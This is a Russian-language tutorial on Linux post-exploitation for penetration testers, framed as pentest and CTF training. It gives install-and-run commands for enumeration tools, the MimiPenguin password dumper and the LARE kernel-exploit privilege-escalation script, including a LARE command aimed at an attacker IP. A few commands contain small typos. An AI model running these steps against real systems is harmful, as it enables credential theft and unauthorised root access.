Пост-эксплуатация Linux в практике пентеста
Пост-эксплуатация (англ. post-explotation) — это то, что можно сделать с целевой системой после того, как удалось найти уязвимость и выполнить какой-то участок кода на целевой системе.
Фазы (этапы) проведения тестирования на проникновение:
Основные паттерны, по которым работают злоумышленники на этапе пост-эксплуатации: - получить доступ на выполнение произвольного кода\команд; - изучение данных, хранящихся на сервере; - перехват данных, которых нет на системе сейчас, но они могут появиться в будущем; - организация перманентного доступа к целевой системе; - эскалация привилегий до уровня системы для непривилегированной учётной записи.
Дополнительно, хакер может получать информацию о скомпрометированной системе, анализируя следующие параметры: - конфигурацию системы (логин и пароль к БД в исходных кодах); - конфигурацию веб-сервера (например, httpd.conf, .htaccess); - исходные коды приложения (поиск уязвимостей, анализируя логику приложения); - доступы к окружению (находясь внутри сети, может быть проще попасть на соседние серверы и изолированные сегменты подсети); - базы данных (аутентификационная информация к другим системам, хранящаяся в них).
Обзор инструментов пост-эксплуатации
Мы же в материале сделаем акцент на рассмотрении инструментов пост-эксплуатации исключительно под Linux-системы.
1. PXEenum — полное перечисление всего, что есть в системе
Основной задачей данного скрипта является функция перечисления (англ. — Enumeration). Он вытаскивает всю доступную информацию о системе. Данный скрипт создан, если не сказать, что создан для лентяев, то для тех, кто ценит свое время.
Запуск PXEenum:
Для запуска он не требует прав root'а, работает в стандартном терминале.
# wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh
Установка:
# git clone https://github.com/shawnduong/PXEnum.git # cd PXEnum/ # chmod +x PXEnum.sh # bash PXEnum.sh
Вывод результатов перечисления в PXEenum:
2. MIDA Multitool — палим систему по-взрослому
Другой интересный инструмент — MIDA Multitool, созданный на базе менее именитых собратьев SysEnum и RootHelper, но включающий в себя гораздо больший функционал. По воле разработчика функционал MIDA Multitool включает в себя отдельные функции своих предшественников под одним капотом, а именно:
- SysEnum — Bash-скрипт, предназначенный для получения основной информацию о системе, включая, но не ограничиваясь следующими данными — текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы и т. д.;
- Roothelper — призван помочь в процессе эскалации привилегий в системе, которая была скомпрометирована, путем выполнения ряда перечислений и использования доверительных сценариев.
Стартовое окно MIDA Multitool:
Устанавливаем скрипт в систему с github:
# git clone https://github.com/NullArray/Bash-Kit-Multitool # cd Bash-Kit-Multitool # chmod +x bashkit.sh
Запускаем скрипт:
# /.bashkit.sh
Дело сделано! Можно запускать в системе!
3. MimiPenguin — добываем пароли без зазрения совести
Очень хорошо известный скрипт в узких кругах пентестеров под названием MimiPenguin. Основной задачей утилиты служит сброса пароля на вход в систему от текущего пользователя Linux. Если такое сравнение возможно, то это аналог утилиты mimikatz для дампа пароля в Windows-системах.
Запуск MimiPenguin:
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), популярнейший web-сервер Apache2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и openssh-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin часто становится частью эксплойтов под Linux.
Результат работы MimiPenguin:
Устанавливаем MimiPenguin, забирая его с репозитория GitHub:
# git clone https://github.com/huntergregal/mimipenguin # cd mimipenguin # ls –a # chmod +x mimipenguin.sh # ./mimipenguin.sh
Все пароли как на ладони благодаря MimiPenguin:
4. LARE — прикидываемся рутом, используя баги ядра
И, напоследок, ещё один довольно простой скрипт, который помогает с помощью использования известных уязвимостей в ядре ОС получать привилегии root удалённо с атакующей машины. Скрипт использует локальные эксплойты для получения root-прав для версий ядра Linux Kernel v2.6-v4.8.
Кстати, эта тулза очень часто находит своё применение на сертификационном экзамене OSCP.
Устанавливаем скрипт в систему:
# git clone https://github.com/EnigmaDimitri/LARE && cd LARE # chmod +x LARA.sh # LARE.sh -a
Стартовое окно LARE:
Запуск скрипта на целевой машине в сети:
# LARE.sh -l [Attackers-IP]
Запуск на машине с подключением к базе данных эксплойтов на GitHub:
# LARE.sh -l or ./LARE.sh -l
Права root получены!
Заключение
Сегодня мы кратко рассмотрели самые популярные и проверенные в практике пентеста рабочие инструменты, используемые на фазе пост-эксплуатации для серверов под управлением Linux. Как видите, нет ничего абсолютно защищённого. Эти знания, я надеюсь, пригодятся вам и на CTF, и для пентеста корпоративной сети вашего проекта, и для развития общего понимания практики обеспечения реальной ИБ.
На этом сегодня всё! Удачи, друзья, берегите себя, близких и свои данные!